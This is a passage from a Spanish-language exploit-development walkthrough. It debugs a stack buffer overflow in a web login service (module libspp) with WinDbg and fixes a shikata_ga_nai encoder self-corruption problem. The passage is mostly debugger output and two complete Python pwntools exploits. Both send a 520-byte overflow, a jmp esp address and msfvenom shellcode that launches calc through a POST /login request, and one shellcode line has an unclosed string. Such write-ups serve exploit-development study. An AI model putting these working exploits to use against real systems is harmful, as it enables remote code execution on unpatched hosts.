01c1744c a8bbc0da (esp + 0)
01c17450 d9b803af (esp + 4)
01c17454 5af42474 (esp + 8)
01c17458 31b1c931 (esp + 12)
01c1745c 83185a31 (esp + 16)
01c17460 5a03fcea (esp + 20)
Al ejecutar la instrucción fnstenv la siguiente instrucción equivale a el hex 0000.
0:000> r
eax=00000001 ebx=b803afa8 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=01c17453 esp=01c1744c ebp=00768ce8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01c17453 d97424f4 fnstenv [esp-0Ch] ss:002b:01c17440=41
0:000> p
eax=00000001 ebx=b803afa8 ecx=0076d654 edx=00000350 esi=00767d56 edi=010b6ac8
eip=01c17457 esp=01c1744c ebp=00768ce8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01c17457 0000 add byte ptr [eax],al ds:002b:00000001=??
Ésto pasa debido a que la instrucción sobrescribió 4 dwords o 16 bytes del stack, en pocas palabras el encoder de nuestro shellcode se está corrompiendo a sí mismo.
0:000> dds esp L6
01c1744c 00000000 (esp + 0) [overwrited]
01c17450 00000000 (esp + 4) [overwrited]
01c17454 00000000 (esp + 8) [overwrited]
01c17458 ffff0000 (esp + 12) [overwrited]
01c1745c 83185a31 (esp + 16)
01c17460 5a03fcea (esp + 20)
Solution 1
La solución mas simple es usar nops, antes del shellcode enviamos 16 nops entonces al sobrescribir los 16 bytes sobrescribirá los nops y no nuestro shellcode.
payload += asm("nop") * 16
Para verlo desde el debugger podemos establecer nuevamente el breakpoint y ver el stack, podemos ver 4 dwords de nops y justo después el inicio del shellcode
0:000> bp 0x10090c83
0:000> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=10090c83 esp=01bf744c ebp=00613c38 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4 jmp esp {01bf744c}
0:000> dds esp L8
01bf744c 90909090 (nops)
01bf7450 90909090 (nops)
01bf7454 90909090 (nops)
01bf7458 90909090 (nops)
01bf745c a8bbc0da (shellcode start)
01bf7460 d9b803af
01bf7464 5af42474
01bf7468 31b1c931
Después de ejecutar la instrucción fnstenv los 4 dwordsde nops se sobrescriben, sin embargo el inicio del shellcode se mantiene intacto por lo que la ejecución de éste no se deberia ver afectada, entonces deberia ejecutar todo nuestro shellcode.
0:000> r
eax=00000001 ebx=b803afa8 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=01bf7463 esp=01bf744c ebp=00613c38 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01bf7463 d97424f4 fnstenv [esp-0Ch] ss:002b:01bf7440=41
0:000> p
eax=00000001 ebx=b803afa8 ecx=0061ebac edx=00000350 esi=00619b7e edi=010d6ac8
eip=01bf7467 esp=01bf744c ebp=00613c38 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
01bf7467 5a pop edx
0:000> dds esp L8
01bf744c 00000000 (overwrited)
01bf7450 00000000 (overwrited)
01bf7454 00000000 (overwrited)
01bf7458 ffff0000 (overwrited)
01bf745c a8bbc0da (shellcode start)
01bf7460 d9b803af
01bf7464 5af42474
01bf7468 31b1c931
El exploit final simplemente agrega 16 nops al inicio del shellcode, al enviar el exploit fuera del debugger ejecuta el shellcode que equivale a lanzar una calculadora.
#!/usr/bin/python3
from pwn import remote, p32, asm
offset = 520
junk = b"A" * offset
shellcode = b"
shellcode += b"\xda\xc0\xbb\xa8\xaf\x03\xb8\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x31\x31\x5a\x18\x83\xea\xfc"
shellcode += b"\x03\x5a\xbc\x4d\xf6\x44\x54\x13\xf9\xb4\xa4"
shellcode += b"\x74\x73\x51\x95\xb4\xe7\x11\x85\x04\x63\x77"
shellcode += b"\x29\xee\x21\x6c\xba\x82\xed\x83\x0b\x28\xc8"
shellcode += b"\xaa\x8c\x01\x28\xac\x0e\x58\x7d\x0e\x2f\x93"
shellcode += b"\x70\x4f\x68\xce\x79\x1d\x21\x84\x2c\xb2\x46"
shellcode += b"\xd0\xec\x39\x14\xf4\x74\xdd\xec\xf7\x55\x70"
shellcode += b"\x67\xae\x75\x72\xa4\xda\x3f\x6c\xa9\xe7\xf6"
shellcode += b"\x07\x19\x93\x08\xce\x50\x5c\xa6\x2f\x5d\xaf"
shellcode += b"\xb6\x68\x59\x50\xcd\x80\x9a\xed\xd6\x56\xe1"
shellcode += b"\x29\x52\x4d\x41\xb9\xc4\xa9\x70\x6e\x92\x3a"
shellcode += b"\x7e\xdb\xd0\x65\x62\xda\x35\x1e\x9e\x57\xb8"
shellcode += b"\xf1\x17\x23\x9f\xd5\x7c\xf7\xbe\x4c\xd8\x56"
shellcode += b"\xbe\x8f\x83\x07\x1a\xdb\x29\x53\x17\x86\x27"
shellcode += b"\xa2\xa5\xbc\x05\xa4\xb5\xbe\x39\xcd\x84\x35"
shellcode += b"\xd6\x8a\x18\x9c\x93\x65\x53\xbd\xb5\xed\x3a"
shellcode += b"\x57\x84\x73\xbd\x8d\xca\x8d\x3e\x24\xb2\x69"
shellcode += b"\x5e\x4d\xb7\x36\xd8\xbd\xc5\x27\x8d\xc1\x7a"
shellcode += b"\x47\x84\xa1\x1d\xdb\x44\x08\xb8\x5b\xee\x54"
payload = b""
payload += junk
payload += p32(0x10090c83) # jmp esp;
payload += b"C" * 4 # padding
payload += asm("nop") * 16 # nops
payload += shellcode
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)

Solution 2
La segunda solución es más simple y es que en realidad el problema anterior es especificamente de una instrucción al usar el encoder shikata_ga_nai por lo que usando otro como jmp_call_additive sin esa instrucción no deberia ocasionarse.
❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d\x25\x26\x2b\x3d' -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 225 (iteration=0)
x86/jmp_call_additive chosen with final size 225
Payload size: 225 bytes
Final size of python file: 1274 bytes
shellcode = b""
shellcode += b"\xfc\xbb\xb4\xfc\x45\xbe\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x48\x14\xc7\xbe\xb0\xe5\xa8\x37"
shellcode += b"\x55\xd4\xe8\x2c\x1e\x47\xd9\x27\x72\x64\x92"
shellcode += b"\x6a\x66\xff\xd6\xa2\x89\x48\x5c\x95\xa4\x49"
shellcode += b"\xcd\xe5\xa7\xc9\x0c\x3a\x07\xf3\xde\x4f\x46"
shellcode += b"\x34\x02\xbd\x1a\xed\x48\x10\x8a\x9a\x05\xa9"
shellcode += b"\x21\xd0\x88\xa9\xd6\xa1\xab\x98\x49\xb9\xf5"
shellcode += b"\x3a\x68\x6e\x8e\x72\x72\x73\xab\xcd\x09\x47"
shellcode += b"\x47\xcc\xdb\x99\xa8\x63\x22\x16\x5b\x7d\x63"
shellcode += b"\x91\x84\x08\x9d\xe1\x39\x0b\x5a\x9b\xe5\x9e"
shellcode += b"\x78\x3b\x6d\x38\xa4\xbd\xa2\xdf\x2f\xb1\x0f"
shellcode += b"\xab\x77\xd6\x8e\x78\x0c\xe2\x1b\x7f\xc2\x62"
shellcode += b"\x5f\xa4\xc6\x2f\x3b\xc5\x5f\x8a\xea\xfa\xbf"
shellcode += b"\x75\x52\x5f\xb4\x98\x87\xd2\x97\xf6\x56\x60"
shellcode += b"\xa2\xb5\x59\x7a\xac\xe9\x31\x4b\x27\x66\x45"
shellcode += b"\x54\xe2\xc2\xb9\x1e\xae\x63\x52\xc7\x3b\x36"
shellcode += b"\x3f\xf8\x96\x75\x46\x7b\x12\x06\xbd\x63\x57"
shellcode += b"\x03\xf9\x23\x84\x79\x92\xc1\xaa\x2e\x93\xc3"
shellcode += b"\xc9\xb1\x07\x8f\x23\x57\xa0\x2a\x3b\x97\x50"
shellcode += b"\xb5\x3b\x97\x50\xb5"
Esta vez el exploit final no necesita los nops y ejecuta la calculadora correctamente.
#!/usr/bin/python3
from pwn import remote, p32
offset = 520
junk = b"A" * offset
shellcode = b""
shellcode += b"\xfc\xbb\xb4\xfc\x45\xbe\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x48\x14\xc7\xbe\xb0\xe5\xa8\x37"
shellcode += b"\x55\xd4\xe8\x2c\x1e\x47\xd9\x27\x72\x64\x92"
shellcode += b"\x6a\x66\xff\xd6\xa2\x89\x48\x5c\x95\xa4\x49"
shellcode += b"\xcd\xe5\xa7\xc9\x0c\x3a\x07\xf3\xde\x4f\x46"
shellcode += b"\x34\x02\xbd\x1a\xed\x48\x10\x8a\x9a\x05\xa9"
shellcode += b"\x21\xd0\x88\xa9\xd6\xa1\xab\x98\x49\xb9\xf5"
shellcode += b"\x3a\x68\x6e\x8e\x72\x72\x73\xab\xcd\x09\x47"
shellcode += b"\x47\xcc\xdb\x99\xa8\x63\x22\x16\x5b\x7d\x63"
shellcode += b"\x91\x84\x08\x9d\xe1\x39\x0b\x5a\x9b\xe5\x9e"
shellcode += b"\x78\x3b\x6d\x38\xa4\xbd\xa2\xdf\x2f\xb1\x0f"
shellcode += b"\xab\x77\xd6\x8e\x78\x0c\xe2\x1b\x7f\xc2\x62"
shellcode += b"\x5f\xa4\xc6\x2f\x3b\xc5\x5f\x8a\xea\xfa\xbf"
shellcode += b"\x75\x52\x5f\xb4\x98\x87\xd2\x97\xf6\x56\x60"
shellcode += b"\xa2\xb5\x59\x7a\xac\xe9\x31\x4b\x27\x66\x45"
shellcode += b"\x54\xe2\xc2\xb9\x1e\xae\x63\x52\xc7\x3b\x36"
shellcode += b"\x3f\xf8\x96\x75\x46\x7b\x12\x06\xbd\x63\x57"
shellcode += b"\x03\xf9\x23\x84\x79\x92\xc1\xaa\x2e\x93\xc3"
shellcode += b"\xc9\xb1\x07\x8f\x23\x57\xa0\x2a\x3b\x97\x50"
shellcode += b"\xb5\x3b\x97\x50\xb5"
payload = b""
payload += junk
payload += p32(0x10090c83) # jmp esp;
payload += b"C" * 4 # padding
payload += shellcode
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
